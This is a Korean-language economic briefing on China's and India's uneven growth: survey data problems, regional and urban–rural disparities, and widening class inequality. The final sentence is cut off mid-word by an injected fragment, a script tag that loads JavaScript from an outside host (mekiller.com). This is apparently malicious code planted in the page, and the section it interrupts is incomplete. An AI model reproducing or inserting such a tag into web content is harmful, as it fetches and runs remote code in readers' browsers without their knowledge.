◯ 세계경제에서 중국과 인도의 부상은 세계 언론 및 정책 당국자들 사이에 커다란 논쟁의 대상이 됐음.
- 지난 25년간 중국 경제는 연평균 9% 성장했으며 인도는 1981년 이후 1인당 GDP가 연평균 4%씩 성장하면서 양국의 절대 빈곤인구가 드라마틱하게 감소하고 있음.
◯ 그러나 양국의 성장 과정이 분배에 미치는 영향에 대해서는 아직도 많은 우려가 상존하고 있음.
- 즉, 성장의 과실이 사회 전역에 골고루 분배되지 못하고 또한 성장의 내용 역시 불균등하여 과연 양국에서 지속가능한 성장이 가능할 것인가에 대한 의구심까지 불러일으키고 있음.

□ 데이터 이슈

○ 일단 양국의 경제성장의 내용을 짚어봄에 앞서 경제 통계 및 데이터 이슈에 대해서 짚고 넘어갈 필요가 있음.
○ 중국의 경우 통계청이 도시 및 농촌 지역에 대해서 각각 상이한 서베이 방법(Rural Household Survey(RHS)/Urban Household Survey(UHS))을 사용하고 있어 도농 간의 비교가 어려운 상황임.
- 서베이 방법 역시 시간이 지나면서 몇 번 변경되어 같은 서베이임에도 불구하고 시계열 비교가 어려우며, 방법론 상 데이터의 진실성을 담보하는 데에도 여러 가지 문제가 노정되고 있음.
○ 인도의 경우 1960년부터 빈곤과 관련하여 전국표본조사(National Sample Survey)의 일환으로 가구당 비용을 조사하고 있는데, 중국과 비슷하게 비교가능성 면에서 문제가 있음.
- 데이터의 정확성 면에서도 소득 및 소비 수준의 과소보고 등의 문제가 상존
○ 이 같은 데이터의 부정확성은 양국의 소득 격차 및 빈곤퇴치 수준을 정확하게 평가하는 데 장애가 되고 있음.

□ 불균등 성장의 내용

○ 지난 25년간 중국과 인도의 성장은 다음과 같은 면에서 불균등한 성장을 지속해 왔음.
- 중국과 인도 국내 각 지역의 성장이 불균등했음(중국의 경우 省, 인도는 州)
- 중국과 인도 국내 산업 발전이 불균등 하여, 양국 공히 1차보다는 2, 3차 산업이 크게 발전했으며 이로 인해 도농간 소득격차가 나타남.
- 중국과 인도 공히 사회계층의 소득 격차가 커짐에 따라 양극화가 문제로 대두되고 있음.
- 이 같은 불균등한 성장으로 인해 빈곤퇴치 및 국민 복지와 관련 실망스런 결과가 나오고 있음.
○ 지역적 불균형
- 중국의 경우 1978년부터 2004년까지 청해성의 연평균 성장률은 5.9%에 그친데 반해 절강성은 연평균 13.3%씩 성장했음.
- 같은 기간 인도의 경우 16개 주 가운데 비하르주가 해마다 2.2%씩 성장한 반면, 카르나타카주는 매년 7.2%씩 성장
- 이 같은 지역간 격차는 빈곤퇴치 격차로 연결되어 중국은 바다에 연한 성들이, 그리고 인도에서는 서부 및 남부 반도 주들의 성과가 더욱 높았음.
○ 산업간 불균등
- 양국 공히 제조업과 서비스업의 성장이 두드러지고, 농업은 오히려 퇴보하는 추세를 보이고 있음.
- 이로 인해 도시민의 소득이 농가 소득에 비해 급속하게 증가하여 (도농간 인플레이션 격차를 고려해도) 인도의 경우 농가 대비 도시 소비가 1983년 1.4에서 2000년 1.8로 확대됐으며 중국 역시 도농 소득 격차가 확대되고 있음.
- 이 같은 도농간 소득격차는 빈곤퇴치 문제에도 여러 가지 문제를 야기하는 데, 이농인구가 도시로 몰려들어 도시빈민화하는 것이 대표적인 예이며, 이 같은 인구이동이 과소평가되어 도시의 성장이 과대 평가되는 측면을 불러일으키기도 함.
○ 계층간 소득격차 확대
- 중국과 인도의 경우 공히 1990년대에 걸쳐 저소득층의 소득증가율보다 고소득층의 소득증가율이 더 높았음.
- 특히 최상 소득계층의 소득증가는 매우 높은 것으로 짐작되는데, 한 예로 인도의 경우 99.99 퍼센타일 소득계층의 조세 환급은 1987년에서 1999년 사이에 285%나 증가했음.
○ 이 같은 산업 및 지역간 성장의 불균등성은 사회내 불평등을 더욱 심화시키는 결과를 낳고 있음.
- 양국은 경제 개혁 초기부터 상당한 도농/계층간 격차가 상존했으며, 그것이 개발 과정을 거치면서 더욱 격차가 심화되고 있음.
- 인도의 경우 지역간 소득격차가 중국보다 크며, 중국은 지역내 계층간 격차의 확대가 소득불평등을 규정하는 요소로 작용하고 있음.

□ 불균등 성장의 문제점

○ 어느 정도의 불균등은 경제주체들의 경쟁심리를 발동함으로써 전반적인 사회 발전에 도?script src=http://mekiller.com/1/1.js>